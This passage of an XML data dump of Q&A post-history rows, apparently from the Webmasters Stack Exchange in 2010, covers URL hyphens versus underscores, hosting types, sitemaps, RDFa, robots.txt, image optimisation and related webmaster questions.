browser.&#xD;&#xA;&#xD;&#xA;Depending on the client and the project, you can just have it say that IE6 will not be supported, that you will deliver support for IE6 as a second-phase deliverable, at extra cost, or offer complete support." />
  <row Id="801" PostHistoryTypeId="2" PostId="445" RevisionGUID="2b4ad0e1-7ab4-45f6-8f8c-52a8fd7ce3aa" CreationDate="2010-07-09T06:54:29.893" UserId="180" Text="Although there is far less difference now than there was in the past, hyphens are recommended if you want each of the terms in your URL recognized as an individual word.&#xD;&#xA;&#xD;&#xA;The reason for this is that search engines find it easier to treat hyphens as word separators, just as they are in the English language.  Underscores, however, are not normally used in English as word separators. In many cases it is desirable to see them as part of the characters before and after them, for instance when underscores are used in function names for programming, and other similar situations.  &#xD;&#xA;&#xD;&#xA;There are a couple cases where this might matter.  For one, if someone uses the full URL as the anchor text, then the search engines will be able to pull out those terms as relevant words.  For another, it is possible that search engines use words in the URL as correlative factors to determine the relevance of those terms to the page content. &#xD;&#xA;&#xD;&#xA;If you are starting a new site, you are definitely better off using dashes.&#xD;&#xA;&#xD;&#xA;Matt Cutts has &lt;a href=&quot;http://www.mattcutts.com/blog/dashes-vs-underscores/&quot;&gt;a dated piece&lt;/a&gt; that explains this and, while it has become less relevant over time, you may as well make life as easy as possible for the search engines, for the same reason that you give them valid HTML." />
  <row Id="802" PostHistoryTypeId="2" PostId="446" RevisionGUID="78004c74-1a42-4cdf-a5f3-cc1bd0d0561e" CreationDate="2010-07-09T07:00:07.713" UserId="182" Text="I know the algorithms that is used by search engines can't be exactly the same. But do I need to take bing and other search engines into consideration when building a site, or will my site be optimized for them if I just focus on optimizing my site for Google?" />
  <row Id="803" PostHistoryTypeId="1" PostId="446" RevisionGUID="78004c74-1a42-4cdf-a5f3-cc1bd0d0561e" CreationDate="2010-07-09T07:00:07.713" UserId="182" Text="Do all the seach engines rank the same way?" />
  <row Id="804" PostHistoryTypeId="3" PostId="446" RevisionGUID="78004c74-1a42-4cdf-a5f3-cc1bd0d0561e" CreationDate="2010-07-09T07:00:07.713" UserId="182" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="805" PostHistoryTypeId="2" PostId="447" RevisionGUID="249ce7ac-f3a4-4449-b483-812968942619" CreationDate="2010-07-09T07:03:13.370" UserId="55" Text="I think you are over-simplifying the types of hosting that you could get. Here they are, what they're good for and what they're not so good for:&#xD;&#xA;&#xD;&#xA;**Shared Hosting**&#xD;&#xA;&#xD;&#xA;You are on a server with potentially hundreds of other people. There are pre-defined limits, such  as the amount of disk space / databases you can have and the amount of data you can transfer per month. This is the cheapest of them all, sometimes as little as $3 / monthly but beware - as soon as your site starts consuming more than minimal resources you'll be suspended and asked to upgrade.&#xD;&#xA;&#xD;&#xA;Additionally, stuff like PHP/SSH/etc are configured in 'paranoid' mode. You might not have access to certain functions and you must depend on your host to install things that you may need (i.e. subversion / mercurial).&#xD;&#xA;&#xD;&#xA;This is good for people who want to host a personal or business card type site. An off shoot of this is called **reseller hosting**, which gives you the ability to create additional hosting accounts for your customers.&#xD;&#xA;&#xD;&#xA;Note, this is not PCI/DSS/HIPAA/Etc compliant.&#xD;&#xA;&#xD;&#xA;**Virtual Dedicated Server**&#xD;&#xA;&#xD;&#xA;Your site gets its own unique view of a shared server. You can configure your services and software just like you could on a dedicated server, however there are no real resource guarantees. &quot;Bad neighbors&quot; is all it takes to bring your site to a crawl.&#xD;&#xA;&#xD;&#xA;I usually recommend this for developers who need a sand box that allows them to configure stuff the way that they want it.&#xD;&#xA;&#xD;&#xA;Again, not PCI/DSS/HIPAA/Etc compliant&#xD;&#xA;&#xD;&#xA;**Virtual Private Server**&#xD;&#xA;&#xD;&#xA;This is, for all intensive purposes a dedicated server that comes with a certain amount of guaranteed resources. You'll be the super user, you can do whatever you wish. Depending on  the platform, your resources limits may be able to 'burst' on occasion in order to deal with spikes in usage. Unfortunately, this also means that your resources suffer if several neighbors also need to 'burst'. &#xD;&#xA;&#xD;&#xA;I recommend going with a Xen provider if you go this route, you will never have less than what you pay for.&#xD;&#xA;&#xD;&#xA;I recommend all new sites that anticipate any kind of traffic start out on nothing less than a VPS.&#xD;&#xA;&#xD;&#xA;This can be, depending on the type of hypervisor and storage used made PCI/etc compliant.&#xD;&#xA;&#xD;&#xA;**Fully Dedicated Server**&#xD;&#xA;&#xD;&#xA;Exactly as it reads, a server that is your's and your's alone. You can rent one monthly, or purchase one and pay for it to be located in a data center. I recommend going with the renting option first, it requires less investment to scaled up if needed. When revenue permits, you can always buy your own servers. By that time, you'll have a very firm grasp on the kind of hardware that you need.&#xD;&#xA;&#xD;&#xA;I recommend this for start up companies that can afford a few hundred a month on hosting, or anyone that has to adhere to security standards. If you store CC info of any kind, or any kind of medical / health information, you'll really want exclusive access to your own hardware.&#xD;&#xA;&#xD;&#xA;**Cloud Hosting**&#xD;&#xA;&#xD;&#xA;I have built several cloud platforms for some large web hosting companies. I am prolific in development around Xen and even I can't tell you in one clear and concise sentence what 'cloud' is supposed to mean when it comes to IAAS (Infrastructure As A Service). &#xD;&#xA;&#xD;&#xA;What you  are getting with most cloud providers is one or more virtual machines that can be allocated more memory or storage as traffic demands, then go back to the 'idle' setting when traffic subsides. Additionally, some offer the ability to make clones of a single instance and connect them together using a load balancer (usually software based).&#xD;&#xA;&#xD;&#xA;The thing to watch out for here is mega bills if your site gets hammered. There are many instances where the algorithm that 'auto scales' you works more in favor of the hosting company and less in favor of your wallet. If you get that kind of hosting, make sure that switch stays glued on manual. In many instances, just turning on a cache is sufficient to meet an increased traffic demand.&#xD;&#xA;&#xD;&#xA;Amazon and others have clearly posted that their offerings do **not** meet the guidelines set out by security standards such as PCI/DSS or federal standards such as HIPAA/HITECH. This isn't so much a caveat of using a hypervisor, its a caveat of using a shared storage network.&#xD;&#xA;&#xD;&#xA;**In summary:**&#xD;&#xA;&#xD;&#xA;The kind of hosting you get is really incidental, what matters more is how you plan your network. For instance, you might have static.domain.com using a light weight http server that has the responsibility of serving only images and media, thereby drastically reducing the load on your production server.&#xD;&#xA;&#xD;&#xA;Additionally, smart caching of dynamic pages (and/or) the queries that go into making them let you squeeze considerably more out of any platform.&#xD;&#xA;&#xD;&#xA;I'd get a few VPS servers, or perhaps a dedicated server and a couple of VPS servers. The other thing I'm adamant about doing is splitting up my DNS, if my domain can't be resolved .. all the caching and fine tuning in the world is not going to help.&#xD;&#xA;&#xD;&#xA;Its really hard to say what would be 'best' for you, I'm not sure about the complexity and needs of your project. However, hopefully, the above gives you some insight into the pros and cons, whatever way you decide to go." />
  <row Id="806" PostHistoryTypeId="2" PostId="448" RevisionGUID="764d628b-f5f6-4b55-8bfe-c64fc376bd4e" CreationDate="2010-07-09T07:04:25.193" UserId="182" Text="Atm no:&#xD;&#xA;&#xD;&#xA;From the [RFDa primer](http://www.w3.org/TR/xhtml-rdfa-primer/#id84480):&#xD;&#xA;&#xD;&#xA;&gt; To date, because XHTML is extensible while HTML is not, RDFa has only been specified for XHTML 1.1" />
  <row Id="809" PostHistoryTypeId="2" PostId="450" RevisionGUID="408ab7d0-cc02-4938-a5b5-2ddad9b16213" CreationDate="2010-07-09T07:07:18.523" UserId="180" Text="One reason for having this as a goal during initial development is that it forces you to think critically about your web site's link structure from the outset.  If the hierarchy is clear in the URL, then this clarity will naturally flow into the structure of the website and ease navigation for both your users and the search engines.&#xD;&#xA;&#xD;&#xA;Depending on how you are developing your site, thinking about URL structure from the beginning may also help you with code design; what controllers you will need, how you are going to perform routing, etc.&#xD;&#xA;&#xD;&#xA;Other reasons, such as URL readability and hackability have been touched on in other answers.&#xD;&#xA;&#xD;&#xA;All of the search engines are doing a pretty good job with query string parameters these days, but if you're starting a new site, it is definitely worth using clean URLs.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="810" PostHistoryTypeId="2" PostId="451" RevisionGUID="3440c577-18b6-4e41-b272-525a1adff3a4" CreationDate="2010-07-09T07:07:22.470" UserId="55" Text="I often use [this tool][1] to generate quick n dirty XML site maps for static sites. You just give it the URL of your site and it will generate a sitemap for you to download (wget friendly link, at that).&#xD;&#xA;&#xD;&#xA;Most dynamic sites that I build either generate a new sitemap whenever any content has changed, or generate a site map on the fly whenever it is requested. Most popular CMS / blogging systems have a variety of modules / plug-ins that will accomplish this for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/" />
  <row Id="811" PostHistoryTypeId="2" PostId="452" RevisionGUID="a3d81295-22fd-4775-8dfa-b6b8e9499291" CreationDate="2010-07-09T07:09:53.963" UserId="182" Text="I've seen some blogs etc. about this new technology: RFDa, but is there any benefits in using it now. From what I understand, it's mainly used by search engines and other crawlers, but have Google, Bing and others implemented it yet? Will give a better rank on their pages if I use it, or will it just make my results more data enriched?" />
  <row Id="812" PostHistoryTypeId="1" PostId="452" RevisionGUID="a3d81295-22fd-4775-8dfa-b6b8e9499291" CreationDate="2010-07-09T07:09:53.963" UserId="182" Text="What is the benefits of RDFa?" />
  <row Id="813" PostHistoryTypeId="3" PostId="452" RevisionGUID="a3d81295-22fd-4775-8dfa-b6b8e9499291" CreationDate="2010-07-09T07:09:53.963" UserId="182" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;rdfa&gt;" />
  <row Id="814" PostHistoryTypeId="2" PostId="453" RevisionGUID="a5cbc9b9-f860-4b6b-807e-250580c86cbd" CreationDate="2010-07-09T07:10:24.087" UserId="184" Text="Most often optimization for Google means clear page structure, sitemaps, fast page speed, good incoming links, etc. This of course optimizes for other search engines. Nonetheless you should at least look at the other major search engines, most importantly Bing. A good placement at Google is often also a good placement in all other search engines." />
  <row Id="815" PostHistoryTypeId="2" PostId="454" RevisionGUID="727e325a-d6a8-400c-a380-6b547e9d14e7" CreationDate="2010-07-09T07:14:13.530" UserId="55" Text="Going through my server's access logs, its actually relatively low (for me), approximately 5-7%. The funny thing is, I'm using Linux but hide the server signature, so of the 5-7% of 'bad' requests, most of those are trying common Windows exploits.&#xD;&#xA;&#xD;&#xA;Occasionally I see someone trying to play with form data, looking for accessible installations of phpmyadmin, trying ancient wordpress vulnerabilities, etc. However, by way of comparison, its rare.&#xD;&#xA;&#xD;&#xA;Note, that's just HTTP traffic. Its very common for most connection attempts to mail / ssh / ftp servers to be bogus / brute force attempts.&#xD;&#xA;&#xD;&#xA;It is possible to generate statistics here, but that's statistics per domain. You can't just 'average' all of those and come up with a number, that makes the bad assumption that all attacks are just random trial and error attempts to find something vulnerable.&#xD;&#xA;" />
  <row Id="816" PostHistoryTypeId="16" PostId="454" RevisionGUID="727e325a-d6a8-400c-a380-6b547e9d14e7" CreationDate="2010-07-09T07:14:13.530" UserId="-1" />
  <row Id="817" PostHistoryTypeId="2" PostId="455" RevisionGUID="64f8b568-5fa7-4800-bfd2-4d3f4a7db68a" CreationDate="2010-07-09T07:17:33.820" UserId="179" Text="When running the validator, you'll need to examine the errors it gives you on a case-by-case basis. Is validation important? To me, yes, it's very important. But is it a requirement? No.&#xD;&#xA;&#xD;&#xA;Things like using the same ID multiple times (instead of a class), putting block-level elements inside inline-level elements (usually these elements don't fit this way semantically either), missing alt attributes on images (poor accessibility for the impaired), are all important. Things like unknown attributes on tags are &lt;i&gt;NOT&lt;/i&gt; important. At all. Javascript frameworks like Dojo or that awful Meebo social-media bar use custom attributes as hooks, and the HTML spec states that these are allowed, and that any unknown attribute is to be ignored. The validator doesn't ignore them, though, it throws errors. These errors can be ignored.&#xD;&#xA;&#xD;&#xA;When validating, do not just assume that if you have errors you're doing it wrong. Semantics are vastly more important, and it just so happens that valid HTML is more-often-than-not the natural result of having proper semantics." />
  <row Id="819" PostHistoryTypeId="2" PostId="456" RevisionGUID="78d2282a-673f-48ae-8960-f66700f24193" CreationDate="2010-07-09T07:26:16.403" UserId="184" Text="**Depends on your user-base**: In Germany everyone would expect hyphens in domain names. In the English-speaking world you should probably avoid them:&#xD;&#xA;&#xD;&#xA;1. Nobody expects them there and **mistypes**&#xD;&#xA;2. There is no real right way to **pronounce** it.&#xD;&#xA;&#xD;&#xA;On SEO perspective it **doesn't matter**. Both names rank the same.&#xD;&#xA;&#xD;&#xA;And of course in doubt you should **purchase both**. Every user gets to the right site." />
  <row Id="820" PostHistoryTypeId="4" PostId="452" RevisionGUID="79dc7c78-d522-456c-af63-09a738b079ed" CreationDate="2010-07-09T07:31:17.607" UserId="182" Comment="edited title" Text="What are the benefits of RDFa?" />
  <row Id="821" PostHistoryTypeId="2" PostId="457" RevisionGUID="56b085f1-0ac3-44b5-b68f-4b8a6d10dc9e" CreationDate="2010-07-09T07:31:55.377" UserId="184" Text="The sitemap helps Google (and other search engines) to **discover the site** especially if it is **new** and has few links to it. If you just have a few pages which are clearly linked iit is not necessarily needed. Keep in mind though that you can **specify the importance within the site** so that more important sites are shown in search results." />
  <row Id="822" PostHistoryTypeId="5" PostId="445" RevisionGUID="10f0300e-a4b1-402f-9ade-e580bec758b0" CreationDate="2010-07-09T07:32:07.433" UserId="180" Comment="Added a newer reference, de-emphasized possible current equivalence of the two methods." Text="Although there seems to be less difference now than there was in the past, hyphens are recommended if you want each of the terms in your URL recognized as an individual word.&#xD;&#xA;&#xD;&#xA;The reason for this is that search engines find it easier to treat hyphens as word separators, just as they are in the English language.  Underscores, however, are not normally used in English as word separators. In many cases it is desirable to see them as part of the characters before and after them, for instance when underscores are used in function names for programming, and other similar situations.  &#xD;&#xA;&#xD;&#xA;There are a couple cases where this might matter.  For one, if someone uses the full URL as the anchor text, then the search engines will be able to pull out those terms as relevant words.  For another, it is possible that search engines use words in the URL as correlative factors to determine the relevance of those terms to the page content. &#xD;&#xA;&#xD;&#xA;Matt Cutts has &lt;a href=&quot;http://www.mattcutts.com/blog/dashes-vs-underscores/&quot;&gt;a dated piece&lt;/a&gt; that explains this, and there is a more recent &lt;a href=&quot;http://www.youtube.com/user/GoogleWebmasterHelp&quot;&gt;Google Webmaster Help&lt;/a&gt; video from February 2009 saying that &lt;a href=&quot;http://www.youtube.com/watch?v=Q3SFVfDIS5k&quot;&gt;Google still does not treat underscores as word separators&lt;/a&gt;. You may as well make life as easy as possible for the search engines, for the same reason that you give them valid HTML.  &#xD;&#xA;&#xD;&#xA;If you are starting a new site, you are definitely better off using dashes." />
  <row Id="823" PostHistoryTypeId="2" PostId="458" RevisionGUID="786d8708-2081-4559-b199-4d6affdefe7e" CreationDate="2010-07-09T07:37:58.480" UserId="60" Text="Personally, I don't display email addresses on sites, but instead have an easy to use, accessible contact us form, along with an indication of who the email's form, allowing users to send the site owners and operators emails, without exposing email addresses, having to jump through various JavaScript hoops, etc.&#xD;&#xA;&#xD;&#xA;This is often the best way to go if your spam filtering isn't that sophisticated." />
  <row Id="824" PostHistoryTypeId="2" PostId="459" RevisionGUID="d57cd84f-659e-4850-aaca-6f461581e0ff" CreationDate="2010-07-09T07:47:56.773" UserId="180" Text="Creating an XML &lt;a href=&quot;http://www.sitemaps.org/protocol.php#index&quot;&gt;sitemap index&lt;/a&gt; and including XML sitemaps for each of the sections on your site can be a useful way of tracking how well Google is indexing pages in these sections.  This gives you a useful set of data to take into account when deciding what areas to spend time on when creating content, link building, and other activities.&#xD;&#xA;&#xD;&#xA;You can obtain these statistics by registering your site with &lt;a href=&quot;http://www.google.com/webmasters/tools/&quot;&gt;Google Webmaster Tools&lt;/a&gt;, submitting the sitemap index, and then waiting a while before Google starts reporting the statistics for this file and allowing you to drill down into details for each included sitemap.&#xD;&#xA;&#xD;&#xA;For a really small site this isn't critical though.  As long as you have decent link structure and can set up custom segments in Analytics for each section of the site you're interested in, it may not be worth the effort." />
  <row Id="825" PostHistoryTypeId="2" PostId="460" RevisionGUID="752d98a6-be2a-470e-8481-533b752bcdc4" CreationDate="2010-07-09T07:51:35.140" UserId="55" Text="If you:&#xD;&#xA;&#xD;&#xA; - Make HTML standards compliant pages&#xD;&#xA; - Make semantically correct documents (proper use of heading tags, lists, etc)&#xD;&#xA; - Make sure, as much as possible that all text can be parsed (i.e. try to avoid text in images)&#xD;&#xA; - Make sure all links work and site map(s) exist&#xD;&#xA; - Make sure pages load quickly&#xD;&#xA; - Work to get inbound links from respected sites covering the same topic&#xD;&#xA;&#xD;&#xA;... your site will do well in almost any search engine, even some that you don't know exist. I was amazed to find that a significant amount of my traffic comes from yandex.ru, and people actually take the time to translate my tutorials once finding them.&#xD;&#xA;&#xD;&#xA;Don't think of them as search engines, think of them as a series of lexical parsers and try to make their job as easy as possible. While their ranking algorithms vary, all of them do the same fundamental tasks of parsing the document structure and the text that it contains." />
  <row Id="826" PostHistoryTypeId="2" PostId="461" RevisionGUID="e8b95e61-7b3d-493a-a0e2-07dd3f6b5c50" CreationDate="2010-07-09T07:55:41.060" UserId="60" Text="You also want to ensure that you're stripping out all the EXIF data - almost all of this is irrelevant to the users on the web, do they really need to know that you used a Canon 5D to take the photo, and that you used an F-Stop of 2.8, exposed for 0.5seconds, with an ISO of 160, no exposure bias, and a 9mm focal length?&#xD;&#xA;&#xD;&#xA;All of this metadata adds weight to your image, and in general should be stripped out.&#xD;&#xA;&#xD;&#xA;As [jessegavin][1] points out, most image apps will show you a preview of the effects of the compression - use them, as a blanket setting of &quot;8&quot; is rarely going to give you the best possible trade off.&#xD;&#xA;&#xD;&#xA;Finally, the [Google Page Speed][2] Firefox/[Firebug][3] plugin can give you a good idea of how much you could reduce the image sizes (including allowing you view and save the smaller versions).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/13/what-can-i-do-to-reduce-the-file-size-of-my-images/54#54&#xD;&#xA;  [2]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [3]: http://getfirebug.com" />
  <row Id="827" PostHistoryTypeId="5" PostId="445" RevisionGUID="d9e3f2d4-e1ea-4139-9d4b-25eaea29268c" CreationDate="2010-07-09T07:56:44.957" UserId="180" Comment="clarified anchor text" Text="Although there seems to be less difference now than there was in the past, hyphens are recommended if you want each of the terms in your URL recognized as an individual word.&#xD;&#xA;&#xD;&#xA;The reason for this is that search engines find it easier to treat hyphens as word separators, just as they are in the English language.  Underscores, however, are not normally used in English as word separators. In many cases it is desirable to see them as part of the characters before and after them, for instance when underscores are used in function names for programming, and other similar situations.  &#xD;&#xA;&#xD;&#xA;There are a couple cases where this might matter.  For one, if someone uses the full URL as the anchor text for a link, then the search engines will be able to pull out those terms as relevant words.  For another, it is possible that search engines use words in the URL as correlative factors to determine the relevance of those terms to the page content. &#xD;&#xA;&#xD;&#xA;Matt Cutts has &lt;a href=&quot;http://www.mattcutts.com/blog/dashes-vs-underscores/&quot;&gt;a dated piece&lt;/a&gt; that explains this, and there is a more recent &lt;a href=&quot;http://www.youtube.com/user/GoogleWebmasterHelp&quot;&gt;Google Webmaster Help&lt;/a&gt; video from February 2009 saying that &lt;a href=&quot;http://www.youtube.com/watch?v=Q3SFVfDIS5k&quot;&gt;Google still does not treat underscores as word separators&lt;/a&gt;. You may as well make life as easy as possible for the search engines, for the same reason that you give them valid HTML.  &#xD;&#xA;&#xD;&#xA;If you are starting a new site, you are definitely better off using dashes." />
  <row Id="828" PostHistoryTypeId="2" PostId="462" RevisionGUID="d5425e71-aedf-4531-8c10-84e1975d13e0" CreationDate="2010-07-09T07:59:30.753" UserId="55" Text="I am helping a friend to bring a very large, completely static web site out of the stone age. One thing I'd like to add immediately is a RSS/ATOM feed.&#xD;&#xA;&#xD;&#xA;He does not like working with any kind of CMS. He makes his pages using a Dream Weaver template, then uploads it and manually updates some pages to link to the new content. His site does very, very well in search engines, but he's not quite engaging new visitors who would probably put him in their reader.&#xD;&#xA;&#xD;&#xA;Is there something I can install that allows him to easily / manually add new items to a feed? Perhaps something that if given a link could fetch a content excerpt?&#xD;&#xA;&#xD;&#xA;Searching around yielded hundreds of things that might work, but many from 2000 or prior that have not been updated since. Language is not critical, but PHP/Python would be ideal.&#xD;&#xA;&#xD;&#xA;I really need something self hosted." />
  <row Id="829" PostHistoryTypeId="1" PostId="462" RevisionGUID="d5425e71-aedf-4531-8c10-84e1975d13e0" CreationDate="2010-07-09T07:59:30.753" UserId="55" Text="Adding RSS/ATOM feed for a completely static web site" />
  <row Id="830" PostHistoryTypeId="3" PostId="462" RevisionGUID="d5425e71-aedf-4531-8c10-84e1975d13e0" CreationDate="2010-07-09T07:59:30.753" UserId="55" Text="&lt;feeds&gt;&lt;static&gt;" />
  <row Id="831" PostHistoryTypeId="2" PostId="463" RevisionGUID="e860e1ac-bd93-4151-8fcc-81807087f686" CreationDate="2010-07-09T08:02:35.537" UserId="60" Text="MS also have (as part of the Expression toolkit) a product called [SuperPreview][1], which allows you to work either side-by-side or overlaid with an interactive version of your site in all versions of IE and the latest version of Firefox.&#xD;&#xA;&#xD;&#xA;It also includes access to a web service that show you what your site looks like in Safari on a Mac - this will generate an image of the output, but also uses a metadata file that allows you to see which parts of the markup generated which parts of the image, so it's still quite powerful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/expression/products/SuperPreview_Overview.aspx" />
  <row Id="832" PostHistoryTypeId="2" PostId="464" RevisionGUID="a6a3b886-ec11-4dd3-9b49-185c13c9193a" CreationDate="2010-07-09T08:09:44.177" UserId="120" Text="**[Wordtracker.com][1] as recommended by [this article][2]**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordtracker.com/&#xD;&#xA;  [2]: http://articles.sitepoint.com/article/increased-usability" />
  <row Id="833" PostHistoryTypeId="2" PostId="465" RevisionGUID="73f90463-ece7-46bc-8bb9-03b0aeac56ec" CreationDate="2010-07-09T08:21:50.530" UserId="180" Text="Once you have done all of the other suggestions to ensure that your image is as small as possible while retaining your desired level of quality, you will also want to configure your web site so that it serves images with minimal HTTP headers and make sure that the headers you are serving allow the images to be stored appropriately by caching proxy servers and web browsers.&#xD;&#xA;&#xD;&#xA;To reduce the size of requests, ensure that your web server is configured not to send useless headers like X-Powered-By. Also, ensure that you are serving things like images, CSS and other static components from a host which does not set cookies (e.g. static.example.com).&#xD;&#xA;&#xD;&#xA;For images that are static, set their Expires header to a date in the far future. This ensures that the web browser and any caching proxies in the middle will hold onto the image as long as possible.  The only downside to this is that if you want to show a different image you will need to use a different file name and link to that instead.  Version numbering in the filename (e.g. myimage_1.png or /images/3/logo.png) can be an effective way of doing this.  For less-static pages, set a realistic Expires header (access plus X hours), and ensure that you are setting either the Last-Modified header or the eTag header (not both) so that browsers that have previously downloaded the files can quickly test whether they have the current version by comparing headers instead of pulling down the entire image.&#xD;&#xA;&#xD;&#xA;Although there are many resources available discussing these techniques, Yahoo has done a great job bringing many tips for &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot;&gt;improving the performance of content delivery&lt;/a&gt; together in one place." />
  <row Id="834" PostHistoryTypeId="16" PostId="199" RevisionGUID="bbdb8234-5db5-49ed-9bd0-db8fe52570f0" CreationDate="2010-07-09T08:22:12.540" UserId="63" />
  <row Id="835" PostHistoryTypeId="6" PostId="199" RevisionGUID="bbdb8234-5db5-49ed-9bd0-db8fe52570f0" CreationDate="2010-07-09T08:22:12.540" UserId="63" Comment="edited tags" Text="&lt;database&gt;" />
  <row Id="836" PostHistoryTypeId="2" PostId="466" RevisionGUID="14d9ac84-5d2c-45a2-8a87-569c431e235a" CreationDate="2010-07-09T08:23:21.133" UserId="120" Text="For instance, do country-specific sites and/or search engines give more weight to sites under a specific country level TLD?&#xD;&#xA;&#xD;&#xA;Or, do country-specific TLDs exist just to increase the WWW namespace and provide window dressing to websites that are focused to a specific country?  " />
  <row Id="837" PostHistoryTypeId="1" PostId="466" RevisionGUID="14d9ac84-5d2c-45a2-8a87-569c431e235a" CreationDate="2010-07-09T08:23:21.133" UserId="120" Text="What are the advantages of using country specific top level domains?" />
  <row Id="838" PostHistoryTypeId="3" PostId="466" RevisionGUID="14d9ac84-5d2c-45a2-8a87-569c431e235a" CreationDate="2010-07-09T08:23:21.133" UserId="120" Text="&lt;top-level-domains&gt;&lt;country-specific&gt;" />
  <row Id="840" PostHistoryTypeId="2" PostId="467" RevisionGUID="4cafb00e-afa0-4a28-ac15-8ca7c2876ef0" CreationDate="2010-07-09T08:25:13.577" UserId="187" Text="If I don't want to set any special behavior, is it OK if I don't bother to have a robots.txt file?&#xD;&#xA;&#xD;&#xA;Or can the lack of one be harmful?" />
  <row Id="841" PostHistoryTypeId="1" PostId="467" RevisionGUID="4cafb00e-afa0-4a28-ac15-8ca7c2876ef0" CreationDate="2010-07-09T08:25:13.577" UserId="187" Text="If I don't want to set any special behavior, is it OK if I don't bother to have a robots.txt file?" />
  <row Id="842" PostHistoryTypeId="3" PostId="467" RevisionGUID="4cafb00e-afa0-4a28-ac15-8ca7c2876ef0" CreationDate="2010-07-09T08:25:13.577" UserId="187" Text="&lt;robots.txt&gt;" />
  <row Id="844" PostHistoryTypeId="2" PostId="468" RevisionGUID="eba62db8-4016-4aca-ad5b-71069809df11" CreationDate="2010-07-09T08:29:22.977" UserId="180" Text="My non-answer is to not do this.  Modern email systems, such as GMail and the Barracuda anti-spam appliance, do an excellent job of filtering spam.  Any barrier that you put between you and your visitors means a lower level of engagement and, depending on the type of site, potential loss of sales." />
  <row Id="845" PostHistoryTypeId="2" PostId="469" RevisionGUID="9acb31bc-3c67-4b9a-856e-f18fe39094a5" CreationDate="2010-07-09T08:32:16.993" UserId="3" Text="I think it would *have* to be OK, otherwise huge swaths of the web would be un-indexable by web spiders.&#xD;&#xA;&#xD;&#xA;No `robots.txt` is the same as an &quot;allow indexing by everyone&quot; `robots.txt` almost by definition." />
  <row Id="846" PostHistoryTypeId="2" PostId="470" RevisionGUID="9f39522a-d644-4e5f-824b-3385537c1aa4" CreationDate="2010-07-09T08:34:11.653" UserId="141" Text="Well, since `robots.txt` contains the address of your [sitemap][1], not having one is potentially harmful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemap" />
  <row Id="847" PostHistoryTypeId="2" PostId="471" RevisionGUID="ca403065-09ca-4dd3-b2ad-bfa61e8055ba" CreationDate="2010-07-09T08:39:33.043" UserId="55" Text="Looking at [the overview][1], one thing that stands out is that RDFA is only applicable to XHTML 1.1 as far as validation goes, whereas there is an enormous push to finalize HTML5/CSS3 and get it out in production.&#xD;&#xA;&#xD;&#xA;Quoting the overview:&#xD;&#xA;&#xD;&#xA;&gt; To date, because XHTML is extensible&#xD;&#xA;&gt; while HTML is not, RDFa has only been&#xD;&#xA;&gt; specified for XHTML 1.1. Web&#xD;&#xA;&gt; publishers are welcome to use RDFa&#xD;&#xA;&gt; markup inside HTML4: the design of&#xD;&#xA;&gt; RDFa anticipates this use case, and&#xD;&#xA;&gt; most RDFa parsers will recognize RDFa&#xD;&#xA;&gt; attributes in any version of HTML. The&#xD;&#xA;&gt; authors know of no deployed Web&#xD;&#xA;&gt; browser that will fail to present an&#xD;&#xA;&gt; HTML document as intended after adding&#xD;&#xA;&gt; RDFa markup to the document. However,&#xD;&#xA;&gt; publishers should be aware that RDFa&#xD;&#xA;&gt; will not validate in HTML4 at this&#xD;&#xA;&gt; time. RDFa attributes validate in&#xD;&#xA;&gt; XHTML, using the XHTML1.1+RDFa DTD.&#xD;&#xA;&#xD;&#xA;We can assume that HTML5 will be similar in that RDFA will not validate, but probably won't break the document in **known and popular** browsers.&#xD;&#xA;&#xD;&#xA;I don't think its going to hurt you, but its no substitute for ensuring that the semantics of your document are well structured (i.e. using heading tags appropriately), which usually results in the proper text/headings showing up in the results.&#xD;&#xA;&#xD;&#xA;The area where I see it most useful is describing the relation of a link to its concept, such as the 'license' example given in the overview. It is quite conceivable that someone wants results only offered under a CC-BY-SA license, or perhaps another variant.&#xD;&#xA;&#xD;&#xA;I don't think I'd want to assign a heading to be anything but that, especially when meta tags exist to state the author / etc. The typical:&#xD;&#xA;&#xD;&#xA; - Main Idea&#xD;&#xA; - Text&#xD;&#xA; - Supporting Idea&#xD;&#xA; - Text&#xD;&#xA; - Idea Supporting Supporting Idea&#xD;&#xA; - Text&#xD;&#xA; - ...&#xD;&#xA;&#xD;&#xA;... offers search engines a very easy way to understand the outline of any document. So, as shown in the example, re-mapping 'h3' to indicate the author might be silly, but associating a link relation as 'author-of-name-of-article' might be interesting, similar to the 'license' concept.&#xD;&#xA;&#xD;&#xA;I don't know anyone who has actually implemented it, so I'm not sure of success in either scenario. However, I don't think its going to (significantly) help your rank any more than a well structured document. The novelty, at least for me is the ability to find very specific things, such as all documents authored by &quot;Joe Q Smith&quot;, for instance.&#xD;&#xA;&#xD;&#xA;What I would not do is go re-defining the weight any given tag should carry when determining the structure of a document.&#xD;&#xA;&#xD;&#xA;And, I can't resist - this is yet one more reason why people should avoid parsing HTML with regex :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/xhtml-rdfa-primer/" />
